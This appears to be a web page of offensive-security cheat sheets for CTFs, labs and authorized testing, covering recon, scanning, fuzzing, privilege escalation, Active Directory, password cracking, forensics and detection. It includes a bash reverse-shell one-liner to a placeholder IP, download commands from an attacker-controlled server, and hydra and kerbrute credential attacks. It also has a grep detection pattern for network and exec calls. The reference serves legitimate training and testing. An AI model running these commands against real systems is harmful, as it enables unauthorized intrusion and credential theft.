authorized quick reference

Cheat sheets

Searchable notes for CTFs, labs, Hack The Box, TryHackMe, and approved testing. Commands keep placeholder targets and scope warnings visible.

Cards
16
Categories
16
Commands
64
Tags
70
16 cards visible

Recon

Recon Baseline

First-pass DNS, ownership, TLS, and HTTP checks before deeper enumeration.

Run only against lab targets, owned assets, or approved scope.

WHOIS lookup
whois example.com
DNS records
dig example.com A AAAA MX TXT NS +short
Resolver check
nslookup example.com 1.1.1.1
HTTP headers
curl -I https://example.com
  • Write down scope boundaries before scanning.
  • Compare DNS results across resolvers when answers look inconsistent.
  • Headers can reveal proxies, framework hints, cookies, and security controls.

Nmap

Nmap Core Scans

A compact scan ladder for CTF and authorized pentest service discovery.

Quick TCP scan
sudo nmap -Pn -sS --top-ports 1000 -oA scans/quick TARGET_IP
Full TCP scan
sudo nmap -Pn -p- --min-rate 5000 -oA scans/all TARGET_IP
Service scan
sudo nmap -Pn -sCV -p PORTS -oA scans/services TARGET_IP
UDP top ports
sudo nmap -Pn -sU --top-ports 50 -oA scans/udp TARGET_IP
  • Use `-oA` so you keep normal, grepable, and XML output.
  • Do not treat a fast scan as complete coverage.
  • UDP scans are slower. Start small, then expand when needed.

Web Enumeration

Web Enumeration

HTTP checks for vhosts, responses, source hints, and authenticated workflow mapping.

Fetch response headers
curl -i http://target.local/
Check vhost
curl -H "Host: app.target.local" -i http://TARGET_IP/
List linked assets
curl -s http://target.local/ | grep -Eoi '(href|src)="[^"]+' | cut -d'"' -f2 | sort -u
Save page for review
curl -s http://target.local/ -o page.html
  • Map application roles and state-changing requests in Burp before testing.
  • Review JavaScript for API paths, feature flags, and client-side route names.
  • Use placeholders in notes until you verify exact endpoints.

Fuzzing

Directory and Content Fuzzing

Safe discovery patterns for routes, extensions, and virtual hosts.

Tune rate limits for production tests and follow the engagement rules.

ffuf directories
ffuf -u http://target.local/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc all -fc 404
ffuf vhosts
ffuf -u http://TARGET_IP/ -H "Host: FUZZ.target.local" -w subdomains.txt -fs SIZE_TO_FILTER
gobuster dirs
gobuster dir -u http://target.local/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak
feroxbuster light
feroxbuster -u http://target.local/ -w /usr/share/wordlists/dirb/common.txt -x php,txt --rate-limit 25
  • Filter by status, size, and words after getting a baseline 404.
  • Record wordlist and filters so findings are reproducible.
  • Avoid blind recursive fuzzing on fragile or out-of-scope systems.

CVE Research

CVE Research Workflow

Evidence-driven vulnerability research without inventing affected versions or exploitability.

Search template
"PRODUCT" "VERSION" CVE advisory
Exploit query template
"CVE-YYYY-NNNN" exploit PoC analysis
Patch query template
"PRODUCT" "VERSION" fixed in security advisory
  • Placeholder format: CVE-YYYY-NNNN, vendor advisory, affected version, fixed version, CVSS, CWE, exploitability notes, patch status.
  • Prefer vendor advisories and primary sources before blog posts.
  • Confirm whether the vulnerable feature is reachable in your target context.

Exploit Research

Exploit Research Checklist

A repeatable way to evaluate public PoCs before using them in a lab.

Read code before running it. Treat public PoCs as untrusted software.

Static review
grep -RniE "curl|wget|socket|subprocess|os.system|exec|eval|base64" ./poc-directory
Isolated test env
python3 -m venv .venv && source .venv/bin/activate
Container lab note
docker run --rm -it --network none IMAGE_NAME /bin/bash
  • Validate target version, configuration, authentication state, and reachable attack surface.
  • Prefer reproducing the vulnerable condition over blind exploit execution.
  • Keep exploit artifacts separated from client or personal files.

Linux PrivEsc

Linux Privilege Escalation

Low-noise local checks after an authorized shell in a CTF or lab.

Identity and host
id; hostname; uname -a; cat /etc/os-release 2>/dev/null
Sudo rights
sudo -l
SUID files
find / -perm -4000 -type f 2>/dev/null
Capabilities
getcap -r / 2>/dev/null
Writable paths
find / -writable -type d 2>/dev/null | grep -vE "^/proc|^/sys|^/dev"
  • Check config files for credentials before reaching for kernel exploits.
  • Correlate cron jobs with writable scripts and PATH assumptions.
  • Document every privilege boundary crossed.

Windows PrivEsc

Windows Privilege Escalation

Windows local enumeration commands for labs and approved testing.

Identity and privileges
whoami /all
System details
systeminfo
Service review
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
Scheduled tasks
schtasks /query /fo LIST /v
PowerShell paths
Get-ChildItem Env:Path; Get-LocalUser 2>$null
  • Look for service paths, weak file permissions, and credential reuse.
  • Confirm OS build before researching local privilege escalation CVEs.
  • Avoid changing services until you understand recovery impact.

Active Directory

Active Directory Enumeration

Domain discovery and graph collection flow for authorized AD labs.

Only enumerate domains where you have written authorization.

Domain context
whoami /fqdn && nltest /dsgetdc:DOMAIN.LOCAL
LDAP root DSE
ldapsearch -x -H ldap://DC_IP -s base namingcontexts
Kerberos userenum placeholder
kerbrute userenum --dc DC_IP -d DOMAIN.LOCAL users.txt
BloodHound collection placeholder
bloodhound-python -d DOMAIN.LOCAL -u USER -p PASS -ns DC_IP -c All
  • Start with domain, DC, DNS, and time sync checks.
  • Use graph tools to reason about relationships, not as a replacement for validation.
  • Store credentials and collection output securely.

Reverse Shells

Reverse Shell Placeholders

Common lab shell patterns with explicit placeholder values.

Use these only in CTF, lab, or approved testing environments.

Listener
nc -lvnp 4444
Bash placeholder
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
Python pty
python3 -c 'import pty; pty.spawn("/bin/bash")'
TTY basics
export TERM=xterm; stty rows 40 cols 120
  • Replace YOUR_IP with your VPN or lab interface address.
  • Prefer stable, logged, authorized access methods when available.
  • Record where the shell came from and which user context it runs under.

File Transfer

File Transfer

Simple transfer patterns for moving tools, logs, and evidence in labs.

Serve current directory
python3 -m http.server 8000
Linux download
curl -O http://YOUR_IP:8000/file.txt
wget download
wget http://YOUR_IP:8000/file.txt -O file.txt
PowerShell download
iwr http://YOUR_IP:8000/file.txt -OutFile file.txt
SCP copy
scp file.txt user@TARGET_IP:/tmp/file.txt
  • Hash evidence before and after transfer when integrity matters.
  • Avoid placing tools in sensitive production directories.
  • Remove temporary listeners when finished.

Password Attacks

Password Attack Workflow

Controlled hash cracking and password audit commands for authorized scenarios.

Do not test credentials against systems outside written scope.

Identify hash
hashid hash.txt
Hashcat bcrypt example
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --username
John format example
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Lab login test placeholder
hydra -L users.txt -P passwords.txt TARGET_IP ssh -t 4 -V
  • Prefer offline hash cracking when hashes are legitimately obtained.
  • Rate-limit online tests and follow lockout policies.
  • Never store recovered passwords in public reports unless explicitly required and sanitized.

Forensics

Forensics Quick Commands

Fast triage commands for files, metadata, strings, memory, and timelines.

File type
file sample.bin
Strings
strings -a sample.bin | less
Metadata
exiftool evidence.jpg
Hashes
sha256sum evidence.*
Volatility placeholder
volatility3 -f memory.raw windows.info
  • Work from a copy, not original evidence.
  • Keep timestamps, timezone, and hash values attached to each artifact.
  • Build a timeline before jumping to conclusions.

Malware Analysis

Malware Analysis Flow

Static-first workflow for safe lab analysis and behavior mapping.

Analyze only in an isolated malware lab with no shared clipboard or mounted personal folders.

Hashes
sha256sum sample.bin && md5sum sample.bin
Static strings
strings -a -n 6 sample.bin | tee strings.txt
PE headers placeholder
pefile sample.exe
YARA scan placeholder
yara -r rules.yar sample-directory/
  • Flow: static review, controlled dynamic run, behavior notes, MITRE mapping, detection ideas.
  • Never run unknown samples on your host OS.
  • Document network indicators without beaconing to real infrastructure.

SOC / Detection

SOC and Log Analysis

Triage prompts and query placeholders for alert review and detection engineering.

IOC extraction idea
grep -Eio "([0-9]{1,3}\.){3}[0-9]{1,3}|[a-f0-9]{64}|https?://[^ ]+" alert.log | sort -u
Linux auth failures
grep -i "failed password" /var/log/auth.log | tail -50
Sigma placeholder
sigma-cli convert -t splunk rule.yml
YARA placeholder
yara -r detection-rules.yar samples/
  • Triage: validate alert, scope blast radius, extract IOCs, map tactics, contain, preserve evidence.
  • Separate observed facts from assumptions.
  • Tune detections with known-good activity before broad deployment.

Useful Links

Useful Security References

High-signal references for daily CTF, lab, and defensive research work.

Search syntax
site:docs.vendor.com PRODUCT VERSION security advisory
GitHub code search
"PRODUCT" "VERSION" "CVE-YYYY-NNNN"
  • Use public references for structure, then write your own notes from verified lab evidence.
  • Keep links current during report finalization.
  • Do not paste massive payload lists into writeups without context.

CVE workflow

CVE and exploit research

Use this as a source checklist. Do not invent live CVE details. Verify affected versions, fixed versions, exploitability, and patch status from primary sources.

Placeholder record format

CVE
CVE-YYYY-NNNN
Vendor advisory
Official advisory URL
Affected version
Verified vulnerable range
Fixed version
Patched release or mitigation
CVSS / CWE
Score, vector, and weakness class
Exploitability
Auth, reachability, prerequisites, patch status